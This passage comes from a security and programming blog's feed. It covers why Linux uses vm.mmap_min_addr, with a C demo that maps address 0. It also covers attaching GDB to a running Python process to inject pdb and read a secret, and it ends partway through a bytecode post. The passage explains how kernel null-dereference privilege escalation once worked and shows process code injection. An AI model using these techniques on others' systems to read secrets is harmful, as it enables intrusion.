&lt;p&gt;This configuration is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr&lt;/code&gt; sysctl parameter which determines the minimum possible address at which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmap&lt;/code&gt; can allocate memory. It can be read either with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysctl&lt;/code&gt; command or by reading a corresponding file in the procfs filesystem, as follows:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;sysctl vm.mmap_min_addr
vm.mmap_min_addr &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 65536

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /proc/sys/vm/mmap_min_addr
65536
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course we can modify this setting if we were a root user (with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo sysctl -w vm.mmap_min_addr=0&lt;/code&gt; command).&lt;/p&gt;

&lt;h2 id=&quot;why-using-the-value-of-65536&quot;&gt;Why using the value of 65536?&lt;/h2&gt;

&lt;p&gt;I got asked by some folks from Hackerspace Cracow why isn’t the value just 1? This is because we don’t only care about strict null pointer dereferences. For example, if we have code like this in C that calls a function pointer that is pointed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;func&lt;/code&gt; field of some structure - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr-&amp;gt;func()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; - then the code will actually dereference memory at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0 + offsetof(SomeStruct, func)&lt;/code&gt; and take the address to jump to from there. And this offset may be even bigger than e.g. 1024 since there are some big structures in the kernel code.&lt;/p&gt;

&lt;p&gt;In other words, we don’t want to protect just the address zero. We want to protect all potential small addresses that a kernel code bug could hit.&lt;/p&gt;

&lt;h2 id=&quot;but-why-is-there-such-config&quot;&gt;But why is there such config?&lt;/h2&gt;

&lt;p&gt;I believe the reason for introducing this sysctl parameter was mitigating security vulnerabilities such as null pointer dereferences in Linux kernel code which could be exploited by unprivileged user space programs to escalate privileges and become root. In other words, an attacker could allocate memory on address 0x0 in a user-space program and then trigger a Linux kernel null pointer dereference to access this memory from the kernel. Then they used this to hijack the control flow of the kernel and become root.&lt;/p&gt;

&lt;p&gt;Nowadays, this is rather a relic of the past due to &lt;a href=&quot;https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention&quot;&gt;SMAP&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Control_register#SMEP&quot;&gt;SMEP&lt;/a&gt; mitigations on x86-64 and &lt;a href=&quot;https://en.wikipedia.org/wiki/AArch64#:~:text=A%20new%20Privileged%20Access%20Never%20(PAN)%20state%20bit%20provides%20control%20that%20prevents%20privileged%20access%20to%20user%20data%20unless%20explicitly%20enabled.&quot;&gt;PAN&lt;/a&gt; on Arm64 architectures (though, &lt;a href=&quot;https://blog.siguza.net/PAN/&quot;&gt;PAN was or is broken?&lt;/a&gt;) as those mitigations prevent the kernel from accessing (SMAP) or excecuting (SMEP) user-space addresses (such as 0x0 address).&lt;/p&gt;

&lt;p&gt;It is also worth to mention that all standard Linux distributions set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr&lt;/code&gt; to 0x10000 (previously 0x1000) or some other value, but also, processes run as root bypass the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr&lt;/code&gt; configuration (and can allocate at address 0x0). This also means that the null pointer dereferences can be exploited in suid binaries, however, one would need to find a way to allocate at address 0x0 first…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fun fact: Actually, there is a reason to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr = 0&lt;/code&gt; which is to… use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm86&lt;/code&gt; system call which allows one to emulate virtual-8086 CPU mode. This requirement can be seen in the &lt;a href=&quot;https://elixir.bootlin.com/linux/v6.13.5/source/arch/x86/kernel/vm86_32.c#L208-L232&quot;&gt;Linux kernel v6.13.5 code: source/arch/x86/kernel/vm86_32.c#L208-L232&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;example-of-allocating-memory-at-0x0&quot;&gt;Example of allocating memory at 0x0&lt;/h2&gt;

&lt;p&gt;For completeness, here is a minimal example program that will allocate memory on address 0x0 which would be valid:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getpagesize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Allocate one page&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Allocate 1 page of memory (usually: 0x1000 bytes) at address 0x0&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PROT_READ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PROT_WRITE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAP_FIXED&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MAP_ANONYMOUS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAP_FAILED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mmap failed&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Memory successfully mapped at %p (size: %lx)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41424344&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Value written to and read from address %p: 0x%x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Clean up&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;munmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mapped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It can be tested by setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr=0&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;sysctl vm.mmap_min_addr&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0
vm.mmap_min_addr &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./a.out
Memory successfully mapped at &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nil&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;size: 1000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Value written to and &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;from address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nil&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: 0x41424344
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;While null pointers are generally assumed to be invalid, their actual behavior depends on the system’s memory management rules. 
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm.mmap_min_addr&lt;/code&gt; sysctl parameter is one such rule that allows us to prevent mapping memory at 0x0. 
However, if modified, a null pointer could indeed point to a valid, accessible memory location.&lt;/p&gt;

&lt;p&gt;So next time someone says a null pointer is always invalid – well, you know better!&lt;/p&gt;

&lt;h3 id=&quot;like-this-post&quot;&gt;Like this post?&lt;/h3&gt;

&lt;p&gt;If you like this post, please share my posts on &lt;a href=&quot;https://x.com/disconnect3d_pl/status/1896662642267488621&quot;&gt;X/Twitter&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@disconnect3d/114100443532352547&quot;&gt;InfoSec.exchange&lt;/a&gt; or &lt;a href=&quot;https://www.linkedin.com/posts/dominik-czarnota_i-wrote-a-blog-post-about-null-pointers-activity-7302433908619382786-OoCn&quot;&gt;LinkedIn&lt;/a&gt; posts! Also, if Linux or C/C++ security mitigations are of your interest, you may also want to read other content I wrote:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;On &lt;a href=&quot;https://blog.trailofbits.com/2023/04/20/typos-that-omit-security-features-and-how-to-test-for-them/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_FORTIFY_SOURCE&lt;/code&gt; typos bugs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;On &lt;a href=&quot;http://github.com/disconnect3d/cstrnfinder&quot;&gt;cstrnfinder tool I wrote to find stupid C bugs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;On &lt;a href=&quot;https://blog.trailofbits.com/2024/03/08/out-of-the-kernel-into-the-tokens/#:~:text=of%20expected%20algorithms.-,KASLR%20bypass%20in%20privilege%2Dless%20containers,-Next%20is%20a&quot;&gt;a KASLR bypass in privilege-less containers I reported to Linux kernel back then&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;On &lt;a href=&quot;https://blog.trailofbits.com/2024/05/16/understanding-addresssanitizer-better-memory-safety-for-your-code/&quot;&gt;Understanding AddressSanitizer: Better memory safety for your code&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;On &lt;a href=&quot;https://blog.trailofbits.com/2024/09/10/sanitize-your-c-containers-asan-annotations-step-by-step/&quot;&gt;Sanitizing your C++ containers: ASan annotations step-by-step&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;On &lt;a href=&quot;https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/&quot;&gt;Understanding Docker escapes&lt;/a&gt; (though that’s about Linux kernel features that build containers rather than C or C++ code)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;EDIT 2025.03.04: Added two things to the blog post - information about stack expansion and the “Why using the value of 65536?” paragraph. Thanks to MrQubo for info on the first one and folks from Hackerspace Kraków for some interesting questions.&lt;/p&gt;
</description>
        <pubDate>Mon, 03 Mar 2025 19:00:00 +0100</pubDate>
        <link>https://disconnect3d.pl//2025/03/03/when-null-isnt-null-on-linux/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2025/03/03/when-null-isnt-null-on-linux/</guid>
        
        <category>linux,</category>
        
        <category>security,</category>
        
        <category>c,</category>
        
        <category>cpp,</category>
        
        <category>programming</category>
        
        
      </item>
    
      <item>
        <title>Debugging running Python scripts with PDB via GDB</title>
        <description>&lt;p&gt;A friend of mine had an interesting case recently where they wanted to debug an already running Python script on Linux and after some testing it turned out this is possible, so let’s see how it can be done in CPython :).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://disconnect3d.pl/assets/posts/ian-attach-python-debugger.png&quot; alt=&quot;friend post&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;few-notes-on-cpython&quot;&gt;Few notes on CPython&lt;/h2&gt;

&lt;p&gt;CPython, the reference implementation of the Python programming language, is written in the C programming language. Under the hood, it is a virtual machine that interprets (executes) so called “Python bytecode” which is the instruction set of the virtual machine. For curious readers, some of the CPython 3.11 instruction handling code can be found in the &lt;a href=&quot;https://github.com/python/cpython/blob/3.11/Python/ceval.c#L1754-L5835&quot;&gt;ceval.c&lt;/a&gt; file in CPython’s GitHub repository.&lt;/p&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt; is just a native program, we can debug it with a native debugger like GDB. Now, this is completely different than debugging the Python code itself (e.g., via &lt;a href=&quot;https://docs.python.org/3/library/pdb.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdb&lt;/code&gt;&lt;/a&gt;, the Python debugger) but… as we will see, we can achieve it through GDB.&lt;/p&gt;

&lt;h2 id=&quot;debugging-already-running-python-script&quot;&gt;Debugging already running Python script&lt;/h2&gt;

&lt;p&gt;Let’s assume we have the following Python script that we will run with Python 3.11.6 on Ubuntu 23.10:&lt;/p&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Let&apos;s assume SECRET is sth we would like to find out
# with a debugger
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SECRET&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Going to sleep... = &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mysleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, if we run this script, we can attach to the Python interpreter process via the GDB (&lt;a href=&quot;https://sourceware.org/gdb/&quot;&gt;The GNU Project debugger&lt;/a&gt;) debugger by using its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attach &amp;lt;pid&amp;gt;&lt;/code&gt; command:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://disconnect3d.pl/assets/posts/cpython-attach-gdb.png&quot; alt=&quot;attaching GDB to python process&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The GDB also asked me if I want additional debug information for the python program, which I accepted (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enable debuginfod for this session? (y or [n]) y&lt;/code&gt;).
This made GDB download debugging symbols so that we can see much more information during debugging. 
We can see this in the output of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backtrace&lt;/code&gt; command which shows the call stack of the process. If we didn’t have debug symbols, we would only see a few names instead of the whole trace.&lt;/p&gt;

&lt;p&gt;Now, in order to debug the Python code with pdb, I found out that we can set a breakpoint on a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyEval_SaveThread&lt;/code&gt; function, continue the execution until it is called and then call a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyRun_SimpleString&lt;/code&gt; function to call arbitrary Python code in the context of the currently executed frame. For what is worth, those “frames” are objects that represent the execution state of Python code. I believe that each function call would create a new frame object.&lt;/p&gt;

&lt;p&gt;Let’s see this in action:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://disconnect3d.pl/assets/posts/cpython-attached-breakpoint.png&quot; alt=&quot;running breakpoint() in attached GDB&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see, we eventually executed PDB in the console where the script was running, achieving our goal!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;While this has worked here in my and my friend’s case, I must admit that I would not recommend running this on production. 
I have only tested this method on Python 3.11.6 and generally speaking, I am not sure if this doesn’t corrupt the internal CPython state somehow – and if it does – this could end up crashing our script.&lt;/p&gt;

&lt;p&gt;Another issue is that if the Python script is running without a terminal, we would probably need to hijack its stdin and stdout objects so that we could actually provide input for it and receive the output.&lt;/p&gt;

&lt;p&gt;Written all this, I still find this trick interesting and I bet we could create some solution that would work properly and would be more convenient. 
But that’s maybe for another time :).&lt;/p&gt;

&lt;p&gt;I would also like to thanks &lt;a href=&quot;https://www.linkedin.com/in/ian-smith-awareio/&quot;&gt;Ian Smith&lt;/a&gt; from Trail of Bits for an interesting problem to solve and &lt;a href=&quot;https://github.com/ptrtofuture&quot;&gt;ptrtofuture&lt;/a&gt; from justCatTheFish team for showing me a similar technique in the past :)&lt;/p&gt;
</description>
        <pubDate>Sun, 04 Aug 2024 19:13:37 +0200</pubDate>
        <link>https://disconnect3d.pl//2024/08/04/debugging-cpython-live/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2024/08/04/debugging-cpython-live/</guid>
        
        <category>python,</category>
        
        <category>debugging,</category>
        
        <category>programming</category>
        
        
      </item>
    
      <item>
        <title>Python specialized bytecode and pycjail returns challenge solution</title>
        <description>&lt;p&gt;I gave a talk on “Python specialized bytecode” on Pykonik #70 where I also made a walkthrough over the “pycjail returns” challenge from ångstrom CTF 2024. The &lt;a href=&quot;https://www.youtube.com/watch?v=RlNM5n5C_wg&amp;amp;t=5034s&quot;&gt;video can be found here&lt;/a&gt; and its &lt;a href=&quot;https://docs.google.com/presentation/d/13ZiJPzQrNVC5azJPlryfrPtHulCvohts0rZJFepTmis&quot;&gt;slides here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this blog post, I am going to do a TL;DR of the idea of specialized bytecode in Python. For details on “Python jails” or “pycjail returns” challenge solution, check out the talk linked above :).&lt;/p&gt;

&lt;h2 id=&quot;python-specialized-bytecode&quot;&gt;Python specialized bytecode&lt;/h2&gt;

&lt;p&gt;Apart from going over a capture the flag cybersecurity competition challenge, the main point of the talk is that there is an ongoing effort to make CPython faster and a huge part of it is detailed in &lt;a href=&quot;https://peps.python.org/pep-0659/&quot;&gt;PEP-659&lt;/a&gt;. Some of it is already implemented in Python 3.11 and 3.12. The gist of it is that they added “specialized bytecode” and some tracing for how functions are used. Now, when a function is “hot”, aka: it is used lots of times, its bytecode will be optimized with “specialized bytecode” instructions.&lt;/p&gt;

&lt;p&gt;This can be seen below:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;dis&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# import module for disassembling Python bytecode
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;     &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;...:&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;adaptive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;show_caches&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST__LOAD_FAST&lt;/span&gt;     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
